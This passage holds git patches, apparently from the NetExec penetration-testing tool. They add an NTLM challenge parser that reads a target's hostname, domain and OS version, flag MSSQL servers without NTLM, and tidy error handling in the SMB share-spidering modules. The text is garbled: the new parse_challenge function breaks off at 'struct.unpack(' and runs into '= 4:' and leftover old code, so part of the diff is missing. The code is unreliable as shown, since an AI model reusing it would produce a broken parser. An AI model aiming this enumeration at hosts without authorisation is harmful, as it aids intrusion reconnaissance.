'nxc.helpers.bloodhound', 'nxc.helpers.even6_parser', 'nxc.helpers.msada_guids', - 'nxc.helpers.ntlm_parser', + 'nxc.helpers.negotiate_parser', 'paramiko', 'pefile', 'pypsrp.client', diff --git a/nxc/helpers/negotiate_parser.py b/nxc/helpers/negotiate_parser.py new file mode 100644 index 0000000000..9460efc2fc --- /dev/null +++ b/nxc/helpers/negotiate_parser.py @@ -0,0 +1,92 @@ +# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7. +# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568 + +import struct + +from impacket import ntlm +from impacket.smb3 import WIN_VERSIONS +from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR +import contextlib + + +def parse_challenge(challange): + target_info = { + "hostname": None, + "domain": None, + "os_version": None + } + challange = ntlm.NTLMAuthChallenge(challange) + av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]]) + if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: + with contextlib.suppress(Exception): + target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le") + if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None: + with contextlib.suppress(Exception): + target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le") + if "Version" in challange.fields: + version = challange["Version"] + if len(version) >= 4: + major_version = version[0] + minor_version = version[1] + product_build = struct.unpack("= 4: - major_version = version[0] - minor_version = version[1] - product_build = struct.unpack(" Date: Mon, 6 Apr 2026 08:40:50 -0400 Subject: [PATCH 161/165] Switch if logic --- nxc/protocols/mssql.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 3992088253..62aa6e21f3 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -136,16 +136,17 @@ def enum_host_info(self): self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") return False else: - if not challenge.startswith(b"NTLMSSP\x00"): - error_msg = login7_integrated_auth_error_message(login_response, challenge) - detail = f": {error_msg}" if error_msg else "" - self.logger.fail(f"Server does not support Integrated Windows Authentication{detail}") - else: + print(challenge) + if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname + else: + error_msg = login7_integrated_auth_error_message(login_response, challenge) + detail = f": {error_msg}" if error_msg else "" + self.logger.fail(f"Server does not support Integrated Windows Authentication{detail}") self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) From 804aeb00f1e164b588b676cdc219a02b854fa92d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Apr 2026 08:42:23 -0400 Subject: [PATCH 162/165] Remove unused variable and add no_ntlm --- nxc/protocols/mssql.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 62aa6e21f3..1601bed483 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -43,7 +43,7 @@ def __init__(self, args, db, host): self.os_arch = None self.lmhash = "" self.nthash = "" - self.is_mssql = False + self.no_ntlm = False connection.__init__(self, args, db, host) @@ -67,7 +67,6 @@ def create_conn_obj(self): self.conn.disconnect() return False else: - self.is_mssql = True return True def reconnect_mssql(func): @@ -146,7 +145,8 @@ def enum_host_info(self): else: error_msg = login7_integrated_auth_error_message(login_response, challenge) detail = f": {error_msg}" if error_msg else "" - self.logger.fail(f"Server does not support Integrated Windows Authentication{detail}") + self.logger.debug(f"Server does not support NTLM{detail}") + self.no_ntlm = True self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) From 6c957f91459eb1675a188ff54f3bb9ded28c1de7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Apr 2026 08:42:41 -0400 Subject: [PATCH 163/165] Remove print message --- nxc/protocols/mssql.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 1601bed483..e897bc089a 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -135,7 +135,6 @@ def enum_host_info(self): self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") return False else: - print(challenge) if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] From a1ecc1dfbb3a848ecaee19c7bcb296aaa4978b3f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 6 Apr 2026 08:46:16 -0400 Subject: [PATCH 164/165] Add NTLM:False flag --- nxc/protocols/mssql.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index e897bc089a..4fc40e98d3 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -163,7 +163,8 @@ def enum_host_info(self): def print_host_info(self): encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption})") + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}") @reconnect_mssql def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): From 9a39a072f1ce0fb8614ab66eda3a55eae82f01b9 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Wed, 8 Apr 2026 13:20:59 -0700 Subject: [PATCH 165/165] fix: ruff lint fixes --- nxc/modules/spider_plus.py | 5 ++--- nxc/protocols/smb/smbspider.py | 5 ++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index c3ef4be0e0..2314529319 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -325,9 +325,8 @@ def parse_file(self, share_name, file_path, file_info): self.save_file(remote_file, share_name) remote_file.close() download_success = True - except SessionError as e: - if "STATUS_SHARING_VIOLATION" in str(e): - pass + except SessionError: + pass except Exception as e: self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}') diff --git a/nxc/protocols/smb/smbspider.py b/nxc/protocols/smb/smbspider.py index 95677bf41e..24009355f1 100755 --- a/nxc/protocols/smb/smbspider.py +++ b/nxc/protocols/smb/smbspider.py @@ -214,9 +214,8 @@ def search_content(self, path, result): rfile.close() return - except SessionError as e: - if "STATUS_SHARING_VIOLATION" in str(e): - pass + except SessionError: + pass except Exception: traceback.print_exc()